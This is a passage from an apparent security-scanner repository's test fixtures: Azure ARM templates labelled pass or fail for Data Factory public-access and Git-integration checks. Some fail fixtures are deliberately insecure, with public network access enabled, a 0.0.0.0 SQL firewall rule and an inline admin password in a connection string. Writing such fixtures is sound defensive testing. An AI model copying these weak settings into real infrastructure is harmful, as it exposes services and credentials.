\"[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]\",\n        \"mappingRuleName\": \"DirectJson\",\n        \"tableName\": \"RawEvents\"\n      },\n      \"dependsOn\": [\n        \"[extensionResourceId(resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName')), 'Microsoft.Authorization/roleAssignments', variables('roleAssignmentName'))]\",\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs/consumergroups', parameters('eventHubNamespaceName'), parameters('eventHubName'), 'kustoConsumerGroup')]\",\n        \"[resourceId('Microsoft.Kusto/clusters/databases', parameters('clusterName'), parameters('databaseName'))]\",\n        \"[resourceId('Microsoft.Kusto/clusters/databases/scripts', parameters('clusterName'), parameters('databaseName'), 'db-script')]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters/databases\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"[format('{0}/{1}', parameters('clusterName'), parameters('databaseName'))]\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"ReadWrite\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[parameters('eventHubNamespaceName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"capacity\": 1,\n        \"name\": \"Standard\",\n        \"tier\": \"Standard\"\n      },\n      \"properties\": {}\n    },\n    {\n      \"type\": \"Microsoft.Kusto/clusters\",\n      \"apiVersion\": \"2022-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('skuCapacity')]\"\n      },\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"enableDiskEncryption\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2021-04-01-preview\",\n      \"scope\": \"[format('Microsoft.EventHub/namespaces/{0}/eventhubs/{1}', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\",\n      \"name\": \"[variables('roleAssignmentName')]\",\n      \"properties\": {\n        \"description\": \"Give \\\"Azure Event Hubs Data Receiver\\\" to the cluster\",\n        \"principalId\": \"[reference(resourceId('Microsoft.Kusto/clusters', parameters('clusterName')), '2022-02-01', 'full').identity.principalId]\",\n        \"principalType\": \"ServicePrincipal\",\n        \"roleDefinitionId\": \"[variables('fullDataReceiverId')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Kusto/clusters', parameters('clusterName'))]\",\n        \"[resourceId('Microsoft.EventHub/namespaces/eventhubs', parameters('eventHubNamespaceName'), parameters('eventHubName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryNoPublicNetworkAccess/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DataFactory/factories\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[resourceGroup().location]\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryNoPublicNetworkAccess/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DataFactory/factories\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryNoPublicNetworkAccess/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DataFactory/factories\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"pass\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Disabled\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryUsesGitRepository/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"subscription\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"resourceGroup\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"name\": {\n            \"defaultValue\": \"myv2datafactory\",\n            \"type\": \"string\"\n        },\n        \"version\": {\n            \"defaultValue\": \"V2\",\n            \"type\": \"string\"\n        },\n        \"location\": {\n            \"defaultValue\": \"eastus\",\n            \"type\": \"string\"\n        },\n        \"tagsByResource\": {\n            \"type\": \"Object\"\n        },\n        \"vNetEnabled\": {\n            \"defaultValue\": false,\n            \"type\": \"bool\"\n        },\n        \"publicNetworkAccess\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\"\n        },\n        \"privateEndpoints\": {\n            \"type\": \"array\",\n            \"metadata\": {\n                \"description\": \"Private endpoints. Empty if no private network access selected.\"\n            }\n        },\n        \"gitConfigureLater\": {\n            \"defaultValue\": true,\n            \"type\": \"bool\"\n        },\n        \"gitRepoType\": {\n            \"defaultValue\": \"FactoryVSTSConfiguration\",\n            \"type\": \"string\"\n        },\n        \"gitAccountName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitProjectName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitRepositoryName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"gitCollaborationBranch\": {\n            \"defaultValue\": \"master\",\n            \"type\": \"string\"\n        },\n        \"gitRootFolder\": {\n            \"defaultValue\": \"/\",\n            \"type\": \"string\"\n        },\n        \"userAssignedIdentities\": {\n            \"defaultValue\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"type\": \"object\"\n        },\n        \"userAssignedIdentitiesStr\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"vaultBaseUrl\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"keyName\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"keyVersion\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        },\n        \"enableCMK\": {\n            \"defaultValue\": false,\n            \"type\": \"bool\"\n        },\n        \"cmkIdentity\": {\n            \"defaultValue\": \"\",\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"hasPE\": \"[greater(length(parameters('privateEndpoints')), 0)]\",\n        \"resourceGroupId\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.value.name, '')]\",\n        \"subNetId\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateEndpointConfiguration.privateEndpoint.properties.subnet.id, '')]\",\n        \"subNetSub\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[2],'')]\",\n        \"subNetRg\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[4],'')]\",\n        \"subNetName\": \"[if(variables('hasPE'),split(variables('subNetId'),'/')[8],'')]\",\n        \"integrateDns\": \"[if(variables('hasPE'),parameters('privateEndpoints')[0].privateDnsZoneConfiguration.integrateWithPrivateDnsZone, 'true')]\"\n    },\n    \"resources\": [\n        {\n            \"condition\": \"[equals(parameters('version'), 'V2')]\",\n            \"type\": \"Microsoft.DataFactory/factories\",\n            \"apiVersion\": \"2018-06-01\",\n            \"name\": \"fail\",\n            \"location\": \"[parameters('location')]\",\n            \"identity\": \"[if(parameters('enableCMK'),json(parameters('userAssignedIdentitiesStr')), parameters('userAssignedIdentities'))]\",\n            \"properties\": {\n                \"repoConfiguration\": \"\",\n                \"publicNetworkAccess\": \"[if(bool(parameters('publicNetworkAccess')), 'Enabled', 'Disabled')]\",\n                \"encryption\": \"[if(parameters('enableCMK'), json(concat('{\\\"identity\\\":{\\\"userAssignedIdentity\\\":\\\"', parameters('cmkIdentity'), '\\\"},','\\\"VaultBaseUrl\\\": \\\"', parameters('vaultBaseUrl'), '\\\",','\\\"KeyName\\\": \\\"', parameters('keyName'), '\\\",','\\\"KeyVersion\\\": \\\"', parameters('keyVersion'), '\\\"}')), json('null'))]\"\n            },\n            \"tags\": \"[ if(contains(parameters('tagsByResource'), 'Microsoft.DataFactory/factories'), parameters('tagsByResource')['Microsoft.DataFactory/factories'], json('{}')) ]\",\n            \"resources\": [\n                {\n                    \"condition\": \"[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]\",\n                    \"name\": \"[concat(parameters('name'), '/default')]\",\n                    \"type\": \"Microsoft.DataFactory/factories/managedVirtualNetworks\",\n                    \"apiVersion\": \"2018-06-01\",\n                    \"properties\": {},\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'))]\"\n                    ]\n                },\n                {\n                    \"condition\": \"[and(equals(parameters('version'), 'V2'), parameters('vNetEnabled'))]\",\n                    \"name\": \"[concat(parameters('name'), '/AutoResolveIntegrationRuntime')]\",\n                    \"type\": \"Microsoft.DataFactory/factories/integrationRuntimes\",\n                    \"apiVersion\": \"2018-06-01\",\n                    \"properties\": {\n                        \"type\": \"Managed\",\n                        \"managedVirtualNetwork\": {\n                            \"referenceName\": \"default\",\n                            \"type\": \"ManagedVirtualNetworkReference\"\n                        },\n                        \"typeProperties\": {\n                            \"computeProperties\": {\n                                \"location\": \"AutoResolve\",\n                                \"dataFlowProperties\": {\n                                    \"computeType\": \"General\",\n                                    \"coreCount\": 8,\n                                    \"timeToLive\": 0\n                                }\n                            }\n                        }\n                    },\n                    \"dependsOn\": [\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'))]\",\n                        \"[concat('Microsoft.DataFactory/factories/', parameters('name'), '/managedVirtualNetworks/default')]\"\n                    ]\n                }\n            ]\n        },\n        {\n            \"condition\": \"[and(not(parameters('publicNetworkAccess')), equals(parameters('privateEndpoints')[0].privateEndpointConfiguration.resourceGroup.mode, 1))]\",\n            \"apiVersion\": \"2018-05-01\",\n            \"name\": \"[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"location\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]\",\n            \"dependsOn\": [\n                \"[parameters('name')]\"\n            ],\n            \"copy\": {\n                \"name\": \"privateendpointscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Resources/resourceGroups\",\n                            \"apiVersion\": \"2021-04-01\",\n                            \"name\": \"[variables('resourceGroupId')]\",\n                            \"location\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.location]\",\n                            \"properties\": {}\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"condition\": \"[not(parameters('publicNetworkAccess'))]\",\n            \"apiVersion\": \"2017-05-10\",\n            \"name\": \"[concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"resourceGroup\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"dependsOn\": [\n                \"[parameters('name')]\",\n                \"[concat('deployResourceGroup-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name)]\"\n            ],\n            \"copy\": {\n                \"name\": \"privateendpointscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"location\": \"[parameters('location')]\",\n                            \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]\",\n                            \"type\": \"Microsoft.Network/privateEndpoints\",\n                            \"apiVersion\": \"2020-03-01\",\n                            \"properties\": {\n                                \"subnet\": {\n                                    \"id\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.subnet.id]\"\n                                },\n                                \"privateLinkServiceConnections\": [\n                                    {\n                                        \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name]\",\n                                        \"properties\": {\n                                            \"privateLinkServiceId\": \"[concat('/subscriptions/',parameters('subscription'),'/resourcegroups/',parameters('resourceGroup'), '/providers/Microsoft.DataFactory/factories/', parameters('name'))]\",\n                                            \"groupIds\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.properties.privateLinkServiceConnections[0].properties.groupIds]\"\n                                        }\n                                    }\n                                ]\n                            },\n                            \"tags\": {}\n                        }\n                    ]\n                }\n            }\n        },\n        {\n            \"apiVersion\": \"2017-05-10\",\n            \"name\": \"[concat('deployPrivateDnsZone-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name)]\",\n            \"type\": \"Microsoft.Resources/deployments\",\n            \"resourceGroup\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.resourceGroup.value.name]\",\n            \"subscriptionId\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subscription.subscriptionId]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Resources/deployments/', concat('deployPrivateEndpoint-', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name))]\"\n            ],\n            \"condition\": \"[and(not(parameters('publicNetworkAccess')), variables('integrateDns'))]\",\n            \"copy\": {\n                \"name\": \"privateendpointdnscopy\",\n                \"count\": \"[length(parameters('privateEndpoints'))]\"\n            },\n            \"properties\": {\n                \"mode\": \"Incremental\",\n                \"template\": {\n                    \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n                    \"contentVersion\": \"1.0.0.0\",\n                    \"resources\": [\n                        {\n                            \"type\": \"Microsoft.Network/privateDnsZones\",\n                            \"apiVersion\": \"2018-09-01\",\n                            \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\",\n                            \"location\": \"global\",\n                            \"tags\": {},\n                            \"properties\": {}\n                        },\n                        {\n                            \"type\": \"Microsoft.Network/privateDnsZones/virtualNetworkLinks\",\n                            \"apiVersion\": \"2018-09-01\",\n                            \"name\": \"[concat(string(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName), '/', uniquestring(variables('subNetId')))]\",\n                            \"location\": \"global\",\n                            \"dependsOn\": [\n                                \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\"\n                            ],\n                            \"properties\": {\n                                \"virtualNetwork\": {\n                                    \"id\": \"[concat('/subscriptions/',variables('subNetSub'),'/resourceGroups/',variables('subNetRg'),'/providers/Microsoft.Network/virtualNetworks/',variables('subNetName'))]\"\n                                },\n                                \"registrationEnabled\": false\n                            }\n                        },\n                        {\n                            \"type\": \"Microsoft.Network/privateEndpoints/privateDnsZoneGroups\",\n                            \"apiVersion\": \"2020-03-01\",\n                            \"name\": \"[concat(parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.privateEndpoint.name, '/', 'default')]\",\n                            \"location\": \"[parameters('location')]\",\n                            \"dependsOn\": [\n                                \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\"\n                            ],\n                            \"properties\": {\n                                \"privateDnsZoneConfigs\": [\n                                    {\n                                        \"name\": \"[parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName]\",\n                                        \"properties\": {\n                                            \"privateDnsZoneId\": \"[concat('/subscriptions/',variables('subNetSub'),'/resourcegroups/',variables('subNetRg'), '/providers/Microsoft.Network/privateDnsZones/', parameters('privateEndpoints')[copyIndex()].privateEndpointConfiguration.subResource.expectedPrivateDnsZoneName )]\"\n                                        }\n                                    }\n                                ]\n                            }\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_DataFactoryUsesGitRepository/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.10.61.36676\",\n      \"templateHash\": \"3351458417114662416\"\n    }\n  },\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources. Leave the default value.\"\n      }\n    },\n    \"azureADUserName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Your Azure AD user identity (this identity will be granted admin rights to the Azure SQL instance).\"\n      }\n    },\n    \"azureADObjectID\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Object ID for your Azure AD user identity (see the README.md file in the Azure Quickstart guide for instructions on how to get your Azure AD user object ID).\"\n      }\n    },\n    \"azureDataLakeStoreAccountName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('adls{0}', uniqueString(resourceGroup().id))]\",\n      \"maxLength\": 24,\n      \"minLength\": 3,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Data Lake Storage Gen2 storage account. Storage account name requirements:\\r\\n- Storage account names must be between 3 and 24 characters in length and may contain numbers and lowercase letters only.\\r\\n- Your storage account name must be unique within Azure. No two storage accounts can have the same name.\\r\\n\"\n      }\n    },\n    \"azureDataFactoryName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('adf-{0}', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of the Azure Data Factory instance.\"\n      }\n    },\n    \"azureDatabricksName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('databricks-{0}', uniqueString(resourceGroup().id))]\",\n      \"maxLength\": 30,\n      \"minLength\": 3,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Databricks workspace. Databricks workspace name requirements:\\r\\n- Databricks workspace names must be between 3 and 30 characters in length and may contain numbers, letters, underscores, and hyphens only.\\r\\n\"\n      }\n    },\n    \"databricksNPIP\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"Do you want to enable No Public IP (NPIP) for your Azure Databricks workspace (true or false)?\"\n      }\n    },\n    \"deployEventHub\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"Do you want to deploy a new Azure Event Hub for streaming use cases (true or false)? Leave default name if you choose false.\"\n      }\n    },\n    \"eventHubName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('eh-{0}', uniqueString(resourceGroup().id))]\",\n      \"maxLength\": 50,\n      \"minLength\": 6,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Event Hub. Event Hub name requirements:\\r\\n- Event Hub names must be between 6 and 50 characters in length and may contain numbers, letters, and hyphens only.\\r\\n- The name must start with a letter, and it must end with a letter or number\\r\\n\"\n      }\n    },\n    \"deployAzureKeyVault\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"Do you want to deploy a new Azure Key Vault instance (true or false)? Leave default name if you choose false.\"\n      }\n    },\n    \"azureKeyVaultName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('kv-{0}', uniqueString(resourceGroup().id))]\",\n      \"maxLength\": 24,\n      \"minLength\": 3,\n      \"metadata\": {\n        \"description\": \"Name of the Azure Key Vault. Key Vault name requirements:\\r\\n- Key vault names must be between 3 and 24 characters in length and may contain numbers, letters, and dashes only.\\r\\n\"\n      }\n    },\n    \"deploySqlDb\": {\n      \"type\": \"bool\",\n      \"defaultValue\": true,\n      \"metadata\": {\n        \"description\": \"Do you want to deploy a new Azure SQL Database (true or false)? Leave default name if you choose false.\"\n      }\n    },\n    \"azureSqlServerName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[format('{0}sqlsrv', uniqueString(resourceGroup().id))]\",\n      \"metadata\": {\n        \"description\": \"Name of Azure SQL logical server\"\n      }\n    },\n    \"azureSqlDatabaseName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"analytics-db\",\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database name\"\n      }\n    },\n    \"sqlAdministratorLogin\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"SQL administrator username\"\n      }\n    },\n    \"sqlAdministratorLoginPassword\": {\n      \"type\": \"secureString\",\n      \"metadata\": {\n        \"description\": \"SQL administrator password\"\n      }\n    }\n  },\n  \"variables\": {\n    \"akvRoleName\": \"Key Vault Secrets User\",\n    \"akvRoleIdMapping\": {\n      \"Key Vault Secrets User\": \"4633458b-17de-408a-b874-0445c86b69e6\"\n    }\n  },\n  \"resources\": [\n    {\n      \"condition\": \"[parameters('deployEventHub')]\",\n      \"type\": \"Microsoft.EventHub/namespaces\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}ns', parameters('eventHubName'))]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard\",\n        \"tier\": \"Standard\",\n        \"capacity\": 1\n      },\n      \"properties\": {\n        \"isAutoInflateEnabled\": false,\n        \"maximumThroughputUnits\": 0\n      }\n    },\n    {\n      \"condition\": \"[parameters('deployEventHub')]\",\n      \"type\": \"Microsoft.EventHub/namespaces/eventhubs\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}/{1}', format('{0}ns', parameters('eventHubName')), parameters('eventHubName'))]\",\n      \"properties\": {\n        \"messageRetentionInDays\": 7,\n        \"partitionCount\": 1\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.EventHub/namespaces', format('{0}ns', parameters('eventHubName')))]\"\n      ]\n    },\n    {\n      \"condition\": \"[parameters('deploySqlDb')]\",\n      \"type\": \"Microsoft.Sql/servers\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[parameters('azureSqlServerName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"minimalTlsVersion\": \"1.2\",\n        \"administratorLogin\": \"[parameters('sqlAdministratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('sqlAdministratorLoginPassword')]\",\n        \"administrators\": {\n          \"administratorType\": \"ActiveDirectory\",\n          \"azureADOnlyAuthentication\": false,\n          \"login\": \"[parameters('azureADUserName')]\",\n          \"sid\": \"[parameters('azureADObjectID')]\",\n          \"tenantId\": \"[subscription().tenantId]\"\n        }\n      }\n    },\n    {\n      \"condition\": \"[parameters('deploySqlDb')]\",\n      \"type\": \"Microsoft.Sql/servers/databases\",\n      \"apiVersion\": \"2021-11-01\",\n      \"name\": \"[format('{0}/{1}', parameters('azureSqlServerName'), parameters('azureSqlDatabaseName'))]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"capacity\": 8,\n        \"family\": \"Gen5\",\n        \"name\": \"GP_Gen5\",\n        \"tier\": \"GeneralPurpose\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Sql/servers', parameters('azureSqlServerName'))]\"\n      ]\n    },\n    {\n      \"condition\": \"[parameters('deploySqlDb')]\",\n      \"type\": \"Microsoft.Sql/servers/firewallRules\",\n      \"apiVersion\": \"2020-11-01-preview\",\n      \"name\": \"[format('{0}/{1}', parameters('azureSqlServerName'), 'Allow Azure Services')]\",\n      \"properties\": {\n        \"startIpAddress\": \"0.0.0.0\",\n        \"endIpAddress\": \"0.0.0.0\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Sql/servers', parameters('azureSqlServerName'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"apiVersion\": \"2021-09-01\",\n      \"name\": \"[parameters('azureDataLakeStoreAccountName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"Standard_LRS\"\n      },\n      \"kind\": \"StorageV2\",\n      \"properties\": {\n        \"minimumTlsVersion\": \"TLS1_2\",\n        \"isHnsEnabled\": true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2022-04-01\",\n      \"scope\": \"[format('Microsoft.Storage/storageAccounts/{0}', parameters('azureDataLakeStoreAccountName'))]\",\n      \"name\": \"[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName')), parameters('azureADObjectID'), subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe'))]\",\n      \"properties\": {\n        \"roleDefinitionId\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n        \"principalId\": \"[parameters('azureADObjectID')]\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Assigns the user to Storage Blob Data Contributor Role\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.DataFactory/factories\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[parameters('location')]\",\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Authorization/roleAssignments\",\n      \"apiVersion\": \"2022-04-01\",\n      \"scope\": \"[format('Microsoft.Storage/storageAccounts/{0}', parameters('azureDataLakeStoreAccountName'))]\",\n      \"name\": \"[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName')), resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe'))]\",\n      \"properties\": {\n        \"roleDefinitionId\": \"[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]\",\n        \"principalId\": \"[reference(resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName')), '2018-06-01', 'full').identity.principalId]\",\n        \"principalType\": \"ServicePrincipal\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))]\",\n        \"[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]\"\n      ],\n      \"metadata\": {\n        \"description\": \"Assigns the ADF Managed Identity to Storage Blob Data Contributor Role\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.DataFactory/factories/linkedservices\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"[format('{0}/{1}', parameters('azureDataFactoryName'), format('{0}-linkedService', parameters('azureDataLakeStoreAccountName')))]\",\n      \"properties\": {\n        \"type\": \"AzureBlobFS\",\n        \"typeProperties\": {\n          \"accountKey\": \"[listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName')), '2021-09-01').keys[0].value]\",\n          \"url\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))).primaryEndpoints.dfs]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Storage/storageAccounts', parameters('azureDataLakeStoreAccountName'))]\",\n        \"[resourceId('Microsoft.DataFactory/factories', parameters('azureDataFactoryName'))]\"\n      ]\n    },\n    {\n      \"condition\": \"[parameters('deploySqlDb')]\",\n      \"type\": \"Microsoft.DataFactory/factories/linkedservices\",\n      \"apiVersion\": \"2018-06-01\",\n      \"name\": \"[format('{0}/{1}', parameters('azureDataFactoryName'), format('{0}-linkedService', parameters('azureSqlServerName')))]\",\n      \"properties\": {\n        \"type\": \"AzureSqlDatabase\",\n        \"typeProperties\": {\n          \"connectionString\": \"[format('Data Source={0}{1};Initial Catalog={2};User ID = {3};Password={4};', parameters('azureSqlServerName'), environment().suffixes.sqlServerHostname, parameters('azureSqlDatabaseName'), parameters('sqlAdministratorLogin'), parameters('sqlAdministratorLoginPassword'))]\"\n        }\n      },\n      